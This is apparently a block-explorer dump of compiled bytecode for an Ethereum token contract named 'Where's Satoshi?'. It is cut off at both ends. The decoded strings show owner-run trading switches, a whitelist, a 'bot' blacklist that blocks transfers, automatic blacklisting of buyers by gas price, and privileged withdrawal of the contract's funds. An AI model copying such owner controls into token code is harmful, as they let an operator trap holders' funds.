45d36600461228f565b610cc2565b34801561046e57600080fd5b5061034760135481565b34801561048457600080fd5b50600354610347565b34801561049957600080fd5b5061032f6104a836600461228f565b610cd6565b3480156104b957600080fd5b5061032f6104c8366004612276565b610d0b565b3480156104d957600080fd5b5061034760125481565b3480156104ef57600080fd5b506103fc6104fe3660046122b1565b610d6f565b34801561050f57600080fd5b5061032f61051e3660046122ed565b610e31565b34801561052f57600080fd5b50610347610e89565b34801561054457600080fd5b5061032f610553366004612320565b610efa565b34801561056457600080fd5b5060095b60405160ff9091168152602001610351565b34801561058657600080fd5b5061032f610595366004612276565b610f4b565b3480156105a657600080fd5b5061032f6105b536600461235f565b610f89565b3480156105c657600080fd5b5061032f610fde565b3480156105db57600080fd5b506103fc6105ea36600461238b565b611021565b3480156105fb57600080fd5b5061032f61060a36600461235f565b61102f565b34801561061b57600080fd5b50601f546103fc9060ff1681565b34801561063557600080fd5b506103fc61064436600461238b565b60096020526000908152604090205460ff1681565b34801561066557600080fd5b5061032f6106743660046123a6565b611097565b34801561068557600080fd5b5061032f6106943660046123d2565b6110d2565b3480156106a557600080fd5b506022546103fc9060ff1681565b3480156106bf57600080fd5b506103fc6106ce36600461238b565b600b6020526000908152604090205460ff1681565b3480156106ef57600080fd5b506103476106fe36600461238b565b6001600160a01b031660009081526006602052604090205490565b34801561072557600080fd5b5061032f61116b565b34801561073a57600080fd5b50601f5461056890610100900460ff1681565b34801561075957600080fd5b5061034760055481565b34801561076f57600080fd5b5061034760045481565b34801561078557600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610351565b3480156107b757600080fd5b506000546001600160a01b0316610793565b3480156107d557600080fd5b50604080518082019091526007815266119a5b9914d05560ca1b60208201526103af565b34801561080557600080fd5b50601d54610793906001600160a01b031681565b34801561082557600080fd5b506103fc6108343660046121f7565b6111df565b34801561084557600080fd5b5061032f6108543660046123a6565b6111ec565b34801561086557600080fd5b506008546103fc9060ff1681565b34801561087f57600080fd5b50600054610793906001600160a01b031681565b34801561089f57600080fd5b50600a546103fc9060ff1681565b3480156108b957600080fd5b5061032f611222565b3480156108ce57600080fd5b5061032f6108dd366004612276565b61126d565b3480156108ee57600080fd5b506103476108fd366004612276565b61131b565b34801561090e57600080fd5b5061034761091d3660046122ed565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561095457600080fd5b5061032f610963366004612458565b611362565b34801561097457600080fd5b5061032f61098336600461238b565b6113a3565b34801561099457600080fd5b5061034760115481565b3480156109aa57600080fd5b50601d546103fc90600160a01b900460ff1681565b6000546001600160a01b031633146109f25760405162461bcd60e51b81526004016109e990612476565b60405180910390fd5b600a805460ff1916911515919091179055565b336000908152600b602052604090205460ff16610a2157600080fd5b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e91906124ab565b905082811015610af25760405162461bcd60e51b815260206004820152602960248201527f4e6f7420456e6f75676820546f6b656e7320696e20636f6e747261637420746f604482015268103932b1b7bb32b91760b91b60648201526084016109e9565b8215610b6b5760405163a9059cbb60e01b8152336004820152602481018490526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610b45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6991906124c4565b505b50505050565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b81526004016109e990612476565b600a811015610bf75760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015261312560f01b60648201526084016109e9565b6103e881600354610c0891906124f7565b610c129190612516565b60055550565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c739086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016109e990612476565b6008805460ff1916911515919091179055565b600082610cce8361131b565b119392505050565b6000546001600160a01b03163314610d005760405162461bcd60e51b81526004016109e990612476565b601a91909155601b55565b336000908152600b602052604090205460ff16610d2757600080fd5b47336108fc6064610d3885856124f7565b610d429190612516565b6040518115909202916000818181858888f19350505050158015610d6a573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260076020908152604080832033845290915281205460001914610e1c576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600782528381203382529091529190912054610df7918490611551565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610e2784848461158b565b90505b9392505050565b6000546001600160a01b03163314610e5b5760405162461bcd60e51b81526004016109e990612476565b601780546001600160a01b039384166001600160a01b03199182161790915560188054929093169116179055565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead60009081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e22546003549192610ef5929091610eef9190611ad3565b90611ad3565b905090565b6000546001600160a01b03163314610f245760405162461bcd60e51b81526004016109e990612476565b601f805461ffff191692151561ff0019169290921761010060ff9290921691909102179055565b6000546001600160a01b03163314610f755760405162461bcd60e51b81526004016109e990612476565b610f8381633b9aca006124f7565b60215550565b6000546001600160a01b03163314610fb35760405162461bcd60e51b81526004016109e990612476565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110085760405162461bcd60e51b81526004016109e990612476565b601d805460ff60a01b1916600160a01b17905543601e55565b6000610c7f82600019610c18565b6000546001600160a01b031633146110595760405162461bcd60e51b81526004016109e990612476565b6001600160a01b039091166000908152600c60209081526040808320805494151560ff199586168117909155600e9092529091208054909216179055565b6000546001600160a01b031633146110c15760405162461bcd60e51b81526004016109e990612476565b601491909155601591909155601655565b6000546001600160a01b031633146110fc5760405162461bcd60e51b81526004016109e990612476565b60005b82811015610b6b57816009600086868581811061111e5761111e612538565b9050602002016020810190611133919061238b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556111648161254e565b90506110ff565b6000546001600160a01b031633146111955760405162461bcd60e51b81526004016109e990612476565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610e2a33848461158b565b6000546001600160a01b031633146112165760405162461bcd60e51b81526004016109e990612476565b50600f91909155601055565b336000908152600b602052604090205460ff1661123e57600080fd5b60405133904780156108fc02916000818181858888f1935050505015801561126a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112975760405162461bcd60e51b81526004016109e990612476565b60018110156112fa5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206044820152687468616e20302e312560b81b60648201526084016109e9565b6103e88160035461130b91906124f7565b6113159190612516565b60045550565b6000610c7f611328610e89565b601d546001600160a01b031660009081526006602052604090205461135c90611355906002905b9061148d565b859061148d565b9061150f565b6000546001600160a01b0316331461138c5760405162461bcd60e51b81526004016109e990612476565b6022805460ff191692151592909217909155602355565b6000546001600160a01b031633146113cd5760405162461bcd60e51b81526004016109e990612476565b6001600160a01b0381166114325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361149f57506000610c7f565b60006114ab83856124f7565b9050826114b88583612516565b14610e2a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109e9565b6000610e2a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b15565b600081848411156115755760405162461bcd60e51b81526004016109e99190612221565b5060006115828486612567565b95945050505050565b60245460009060ff16156115ab576115a4848484611b43565b9050610e2a565b6001600160a01b03841660009081526001602052604090205460ff161580156115ed57506001600160a01b03831660009081526001602052604090205460ff16155b156116a757601d54600160a01b900460ff166116425760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016109e9565b600a5460ff16156116a7576001600160a01b0383166000908152600b602052604090205460ff166116a75760405162461bcd60e51b815260206004820152600f60248201526e139bdd0815da1a5d195b1a5cdd1959608a1b60448201526064016109e9565b60085460ff1615611701576001600160a01b03841660009081526009602052604090205460ff16156117015760405162461bcd60e51b8152602060048201526003602482015262189bdd60ea1b60448201526064016109e9565b6021543a101580156117215750601d546001600160a01b03848116911614155b1561174a576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526001602052604090205460ff1615801561177c57506001600160a01b0383163014155b801561179357506001600160a01b03831661dead14155b80156117ad5750601d546001600160a01b03848116911614155b80156117c757506019546001600160a01b03848116911614155b80156117e157506018546001600160a01b03848116911614155b801561180657506001600160a01b0383166000908152600e602052604090205460ff16155b156118a7576001600160a01b038316600090815260066020526040902054600554611831848361257e565b11156118a55760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e000060648201526084016109e9565b505b601d546001600160a01b0385811691161480156118c65750601f5460ff165b80156118eb57506001600160a01b0383166000908152600d602052604090205460ff16155b15611984576001600160a01b038316600090815260208052604090205442116119565760405162461bcd60e51b815260206004820152601c60248201527f506c65617365207761697420666f72206265747765656e20627579730000000060448201526064016109e9565b601f5461196b90610100900460ff164261257e565b6001600160a01b03841660009081526020805260409020555b61198e8483611c17565b611996611c84565b156119a3576119a3611cd3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600690915291909120546119f5918490611551565b6001600160a01b038516600090815260066020908152604080832093909355600c90529081205460ff1680611a4257506001600160a01b0384166000908152600c602052604090205460ff165b611a5657611a51858486611fd4565b611a58565b825b6001600160a01b038516600090815260066020526040902054909150611a7e9082612151565b6001600160a01b03808616600081815260066020526040908190209390935591519087169060008051602061263683398151915290611ac09085815260200190565b60405180910390a3506001949350505050565b6000610e2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611551565b60008183611b365760405162461bcd60e51b81526004016109e99190612221565b5060006115828486612516565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b94918490611551565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611bc39083612151565b6001600160a01b03808516600081815260066020526040908190209390935591519086169060008051602061263683398151915290611c059086815260200190565b60405180910390a35060019392505050565b60045481111580611c4057506001600160a01b0382166000908152600e602052604090205460ff165b611c805760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016109e9565b5050565b601d546000906001600160a01b03163314801590611ca5575060245460ff16155b8015611cb3575060225460ff165b8015610ef557505060235430600090815260066020526040902054101590565b6024805460ff19166001179055601a54601b54600091611cf291610cc2565b611cfe57600f54611d01565b60005b90506000611d25600261135c60125461135c8660235461148d90919063ffffffff16565b90506000611d3e82602354611ad390919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611d7857611d78612538565b6001600160a01b039283166020918202929092010152600254825191169082906001908110611da957611da9612538565b6001600160a01b039283166020918202929092010152601c5460405163791ac94760e01b81524792919091169063791ac94790611df3908690600090879030904290600401612596565b600060405180830381600087803b158015611e0d57600080fd5b505af1158015611e21573d6000803e3d6000fd5b505050506000611e3a8247611ad390919063ffffffff16565b90506000611e55611e4c88600261150f565b60125490611ad3565b90506000611e6a600261135c8481878d61148d565b90506000611e878361135c6010548761148d90919063ffffffff16565b6018546040519192506000916001600160a01b039091169083908381818185875af1925050503d8060008114611ed9576040519150601f19603f3d011682016040523d82523d6000602084013e611ede565b606091505b50600092505089159050611fbe57601c5460175460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015611f5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f819190612607565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506024805460ff191690555050505050505050565b601654601d54600091906001600160a01b0390811690841603611ffa5750601454612015565b601d546001600160a01b039081169086160361201557506015545b6000612042601354606461202991906124f7565b61135c8461134f6012548a61148d90919063ffffffff16565b9050600061206160125461135c6011548561148d90919063ffffffff16565b9050600061206f8383611ad3565b3060009081526006602052604090205490915061208c9082612151565b30600090815260066020526040808220929092556019546001600160a01b0316815220546120ba9083612151565b6019546001600160a01b0390811660009081526006602090815260409182902093909355518381523092918b1691600080516020612636833981519152910160405180910390a3811561213b576019546040518381526001600160a01b03918216918a16906000805160206126368339815191529060200160405180910390a35b6121458784611ad3565b98975050505050505050565b60008061215e838561257e565b905083811015610e2a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109e9565b801515811461126a57600080fd5b6000602082840312156121d057600080fd5b8135610e2a816121b0565b80356001600160a01b03811681146121f257600080fd5b919050565b6000806040838503121561220a57600080fd5b612213836121db565b946020939093013593505050565b600060208083528351808285015260005b8181101561224e57858101830151858201604001528201612232565b81811115612260576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561228857600080fd5b5035919050565b600080604083850312156122a257600080fd5b50508035926020909101359150565b6000806000606084860312156122c657600080fd5b6122cf846121db565b92506122dd602085016121db565b9150604084013590509250925092565b6000806040838503121561230057600080fd5b612309836121db565b9150612317602084016121db565b90509250929050565b6000806040838503121561233357600080fd5b823561233e816121b0565b9150602083013560ff8116811461235457600080fd5b809150509250929050565b6000806040838503121561237257600080fd5b61237b836121db565b91506020830135612354816121b0565b60006020828403121561239d57600080fd5b610e2a826121db565b6000806000606084860312156123bb57600080fd5b505081359360208301359350604090920135919050565b6000806000604084860312156123e757600080fd5b833567ffffffffffffffff808211156123ff57600080fd5b818601915086601f83011261241357600080fd5b81358181111561242257600080fd5b8760208260051b850101111561243757600080fd5b6020928301955093505084013561244d816121b0565b809150509250925092565b6000806040838503121561246b57600080fd5b8235612213816121b0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156124bd57600080fd5b5051919050565b6000602082840312156124d657600080fd5b8151610e2a816121b0565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612511576125116124e1565b500290565b60008261253357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060018201612560576125606124e1565b5060010190565b600082821015612579576125796124e1565b500390565b60008219821115612591576125916124e1565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125e65784516001600160a01b0316835293830193918301916001016125c1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561261c57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122031e3af22ed069ece57d221c20d21ebda26f5f277f5467e4df7d0189b6c7832e164736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106103035760003560e01c80636ce46bc311610190578063a9059cbb116100dc578063bd9ab53711610095578063df20fd491161006f578063df20fd4914610948578063f2fde38b14610968578063fce589d814610988578063ffb54a991461099e57600080fd5b8063bd9ab537146108c2578063d51ed1c8146108e2578063dd62ed3e1461090257600080fd5b8063a9059cbb14610819578063a983e4c814610839578063aff9715314610859578063b2bdfa7b14610873578063b37dd69014610893578063b46300ec146108ad57600080fd5b8063722b62ad11610149578063893d20e811610123578063893d20e8146107795780638da5cb5b146107ab57806395d89b41146107c9578063a8aa1b31146107f957600080fd5b8063722b62ad1461072e57806378109e541461074d5780637d1db4a51461076357600080fd5b80636ce46bc3146106595780636cfcc86e146106795780636ddd1713146106995780637007546b146106b357806370a08231146106e3578063715018a61461071957600080fd5b80631df4ccfc1161024f578063444a1cec11610208578063571ac8b0116101e2578063571ac8b0146105cf5780635d62388e146105ef578063617fe0ed1461060f578063633a1ec01461062957600080fd5b8063444a1cec1461057a57806350db71fb1461059a57806351cd7cc3146105ba57600080fd5b80631df4ccfc146104cd57806323b872dd146104e35780632a9e97c2146105035780632b112e49146105235780632d59456714610538578063313ce5671461055857600080fd5b80630b475170116102bc578063180b0d7e11610296578063180b0d7e1461046257806318160ddd146104785780631d0f2c991461048d5780631da1db5e146104ad57600080fd5b80630b4751701461040c5780630bf617fb146104225780631161ae391461044257600080fd5b80630109d4351461030f5780630445b66714610331578063069c9fae1461035a57806306fdde031461037a57806309302dc6146103bc578063095ea7b3146103dc57600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b5061032f61032a3660046121be565b6109bf565b005b34801561033d57600080fd5b5061034760235481565b6040519081526020015b60405180910390f35b34801561036657600080fd5b5061032f6103753660046121f7565b610a05565b34801561038657600080fd5b5060408051808201909152601081526f57686572652773205361746f7368693f60801b60208201525b6040516103519190612221565b3480156103c857600080fd5b5061032f6103d7366004612276565b610b71565b3480156103e857600080fd5b506103fc6103f73660046121f7565b610c18565b6040519015158152602001610351565b34801561041857600080fd5b5061034760215481565b34801561042e57600080fd5b5061032f61043d3660046121be565b610c85565b34801561044e57600080fd5b506103fc61045d36600461228f565b610cc2565b34801561046e57600080fd5b5061034760135481565b34801561048457600080fd5b50600354610347565b34801561049957600080fd5b5061032f6104a836600461228f565b610cd6565b3480156104b957600080fd5b5061032f6104c8366004612276565b610d0b565b3480156104d957600080fd5b5061034760125481565b3480156104ef57600080fd5b506103fc6104fe3660046122b1565b610d6f565b34801561050f57600080fd5b5061032f61051e3660046122ed565b610e31565b34801561052f57600080fd5b50610347610e89565b34801561054457600080fd5b5061032f610553366004612320565b610efa565b34801561056457600080fd5b5060095b60405160ff9091168152602001610351565b34801561058657600080fd5b5061032f610595366004612276565b610f4b565b3480156105a657600080fd5b5061032f6105b536600461235f565b610f89565b3480156105c657600080fd5b5061032f610fde565b3480156105db57600080fd5b506103fc6105ea36600461238b565b611021565b3480156105fb57600080fd5b5061032f61060a36600461235f565b61102f565b34801561061b57600080fd5b50601f546103fc9060ff1681565b34801561063557600080fd5b506103fc61064436600461238b565b60096020526000908152604090205460ff1681565b34801561066557600080fd5b5061032f6106743660046123a6565b611097565b34801561068557600080fd5b5061032f6106943660046123d2565b6110d2565b3480156106a557600080fd5b506022546103fc9060ff1681565b3480156106bf57600080fd5b506103fc6106ce36600461238b565b600b6020526000908152604090205460ff1681565b3480156106ef57600080fd5b506103476106fe36600461238b565b6001600160a01b031660009081526006602052604090205490565b34801561072557600080fd5b5061032f61116b565b34801561073a57600080fd5b50601f5461056890610100900460ff1681565b34801561075957600080fd5b5061034760055481565b34801561076f57600080fd5b5061034760045481565b34801561078557600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610351565b3480156107b757600080fd5b506000546001600160a01b0316610793565b3480156107d557600080fd5b50604080518082019091526007815266119a5b9914d05560ca1b60208201526103af565b34801561080557600080fd5b50601d54610793906001600160a01b031681565b34801561082557600080fd5b506103fc6108343660046121f7565b6111df565b34801561084557600080fd5b5061032f6108543660046123a6565b6111ec565b34801561086557600080fd5b506008546103fc9060ff1681565b34801561087f57600080fd5b50600054610793906001600160a01b031681565b34801561089f57600080fd5b50600a546103fc9060ff1681565b3480156108b957600080fd5b5061032f611222565b3480156108ce57600080fd5b5061032f6108dd366004612276565b61126d565b3480156108ee57600080fd5b506103476108fd366004612276565b61131b565b34801561090e57600080fd5b5061034761091d3660046122ed565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561095457600080fd5b5061032f610963366004612458565b611362565b34801561097457600080fd5b5061032f61098336600461238b565b6113a3565b34801561099457600080fd5b5061034760115481565b3480156109aa57600080fd5b50601d546103fc90600160a01b900460ff1681565b6000546001600160a01b031633146109f25760405162461bcd60e51b81526004016109e990612476565b60405180910390fd5b600a805460ff1916911515919091179055565b336000908152600b602052604090205460ff16610a2157600080fd5b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e91906124ab565b905082811015610af25760405162461bcd60e51b815260206004820152602960248201527f4e6f7420456e6f75676820546f6b656e7320696e20636f6e747261637420746f604482015268103932b1b7bb32b91760b91b60648201526084016109e9565b8215610b6b5760405163a9059cbb60e01b8152336004820152602481018490526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610b45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6991906124c4565b505b50505050565b6000546001600160a01b03163314610b9b5760405162461bcd60e51b81526004016109e990612476565b600a811015610bf75760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015261312560f01b60648201526084016109e9565b6103e881600354610c0891906124f7565b610c129190612516565b60055550565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c739086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016109e990612476565b6008805460ff1916911515919091179055565b600082610cce8361131b565b119392505050565b6000546001600160a01b03163314610d005760405162461bcd60e51b81526004016109e990612476565b601a91909155601b55565b336000908152600b602052604090205460ff16610d2757600080fd5b47336108fc6064610d3885856124f7565b610d429190612516565b6040518115909202916000818181858888f19350505050158015610d6a573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260076020908152604080832033845290915281205460001914610e1c576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600782528381203382529091529190912054610df7918490611551565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610e2784848461158b565b90505b9392505050565b6000546001600160a01b03163314610e5b5760405162461bcd60e51b81526004016109e990612476565b601780546001600160a01b039384166001600160a01b03199182161790915560188054929093169116179055565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85461dead60009081527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e22546003549192610ef5929091610eef9190611ad3565b90611ad3565b905090565b6000546001600160a01b03163314610f245760405162461bcd60e51b81526004016109e990612476565b601f805461ffff191692151561ff0019169290921761010060ff9290921691909102179055565b6000546001600160a01b03163314610f755760405162461bcd60e51b81526004016109e990612476565b610f8381633b9aca006124f7565b60215550565b6000546001600160a01b03163314610fb35760405162461bcd60e51b81526004016109e990612476565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110085760405162461bcd60e51b81526004016109e990612476565b601d805460ff60a01b1916600160a01b17905543601e55565b6000610c7f82600019610c18565b6000546001600160a01b031633146110595760405162461bcd60e51b81526004016109e990612476565b6001600160a01b039091166000908152600c60209081526040808320805494151560ff199586168117909155600e9092529091208054909216179055565b6000546001600160a01b031633146110c15760405162461bcd60e51b81526004016109e990612476565b601491909155601591909155601655565b6000546001600160a01b031633146110fc5760405162461bcd60e51b81526004016109e990612476565b60005b82811015610b6b57816009600086868581811061111e5761111e612538565b9050602002016020810190611133919061238b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556111648161254e565b90506110ff565b6000546001600160a01b031633146111955760405162461bcd60e51b81526004016109e990612476565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610e2a33848461158b565b6000546001600160a01b031633146112165760405162461bcd60e51b81526004016109e990612476565b50600f91909155601055565b336000908152600b602052604090205460ff1661123e57600080fd5b60405133904780156108fc02916000818181858888f1935050505015801561126a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112975760405162461bcd60e51b81526004016109e990612476565b60018110156112fa5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206044820152687468616e20302e312560b81b60648201526084016109e9565b6103e88160035461130b91906124f7565b6113159190612516565b60045550565b6000610c7f611328610e89565b601d546001600160a01b031660009081526006602052604090205461135c90611355906002905b9061148d565b859061148d565b9061150f565b6000546001600160a01b0316331461138c5760405162461bcd60e51b81526004016109e990612476565b6022805460ff191692151592909217909155602355565b6000546001600160a01b031633146113cd5760405162461bcd60e51b81526004016109e990612476565b6001600160a01b0381166114325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361149f57506000610c7f565b60006114ab83856124f7565b9050826114b88583612516565b14610e2a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109e9565b6000610e2a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b15565b600081848411156115755760405162461bcd60e51b81526004016109e99190612221565b5060006115828486612567565b95945050505050565b60245460009060ff16156115ab576115a4848484611b43565b9050610e2a565b6001600160a01b03841660009081526001602052604090205460ff161580156115ed57506001600160a01b03831660009081526001602052604090205460ff16155b156116a757601d54600160a01b900460ff166116425760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016109e9565b600a5460ff16156116a7576001600160a01b0383166000908152600b602052604090205460ff166116a75760405162461bcd60e51b815260206004820152600f60248201526e139bdd0815da1a5d195b1a5cdd1959608a1b60448201526064016109e9565b60085460ff1615611701576001600160a01b03841660009081526009602052604090205460ff16156117015760405162461bcd60e51b8152602060048201526003602482015262189bdd60ea1b60448201526064016109e9565b6021543a101580156117215750601d546001600160a01b03848116911614155b1561174a576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526001602052604090205460ff1615801561177c57506001600160a01b0383163014155b801561179357506001600160a01b03831661dead14155b80156117ad5750601d546001600160a01b03848116911614155b80156117c757506019546001600160a01b03848116911614155b80156117e157506018546001600160a01b03848116911614155b801561180657506001600160a01b0383166000908152600e602052604090205460ff16155b156118a7576001600160a01b038316600090815260066020526040902054600554611831848361257e565b11156118a55760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e000060648201526084016109e9565b505b601d546001600160a01b0385811691161480156118c65750601f5460ff165b80156118eb57506001600160a01b0383166000908152600d602052604090205460ff16155b15611984576001600160a01b038316600090815260208052604090205442116119565760405162461bcd60e51b815260206004820152601c60248201527f506c65617365207761697420666f72206265747765656e20627579730000000060448201526064016109e9565b601f5461196b90610100900460ff164261257e565b6001600160a01b03841660009081526020805260409020555b61198e8483611c17565b611996611c84565b156119a3576119a3611cd3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600690915291909120546119f5918490611551565b6001600160a01b038516600090815260066020908152604080832093909355600c90529081205460ff1680611a4257506001600160a01b0384166000908152600c602052604090205460ff165b611a5657611a51858486611fd4565b611a58565b825b6001600160a01b038516600090815260066020526040902054909150611a7e9082612151565b6001600160a01b03808616600081815260066020526040908190209390935591519087169060008051602061263683398151915290611ac09085815260200190565b60405180910390a3506001949350505050565b6000610e2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611551565b60008183611b365760405162461bcd60e51b81526004016109e99190612221565b5060006115828486612516565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b94918490611551565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611bc39083612151565b6001600160a01b03808516600081815260066020526040908190209390935591519086169060008051602061263683398151915290611c059086815260200190565b60405180910390a35060019392505050565b60045481111580611c4057506001600160a01b0382166000908152600e602052604090205460ff165b611c805760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016109e9565b5050565b601d546000906001600160a01b03163314801590611ca5575060245460ff16155b8015611cb3575060225460ff165b8015610ef557505060235430600090815260066020526040902054101590565b6024805460ff19166001179055601a54601b54600091611cf291610cc2565b611cfe57600f54611d01565b60005b90506000611d25600261135c60125461135c8660235461148d90919063ffffffff16565b90506000611d3e82602354611ad390919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611d7857611d78612538565b6001600160a01b039283166020918202929092010152600254825191169082906001908110611da957611da9612538565b6001600160a01b039283166020918202929092010152601c5460405163791ac94760e01b81524792919091169063791ac94790611df3908690600090879030904290600401612596565b600060405180830381600087803b158015611e0d57600080fd5b505af1158015611e21573d6000803e3d6000fd5b505050506000611e3a8247611ad390919063ffffffff16565b90506000611e55611e4c88600261150f565b60125490611ad3565b90506000611e6a600261135c8481878d61148d565b90506000611e878361135c6010548761148d90919063ffffffff16565b6018546040519192506000916001600160a01b039091169083908381818185875af1925050503d8060008114611ed9576040519150601f19603f3d011682016040523d82523d6000602084013e611ede565b606091505b50600092505089159050611fbe57601c5460175460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015611f5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f819190612607565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5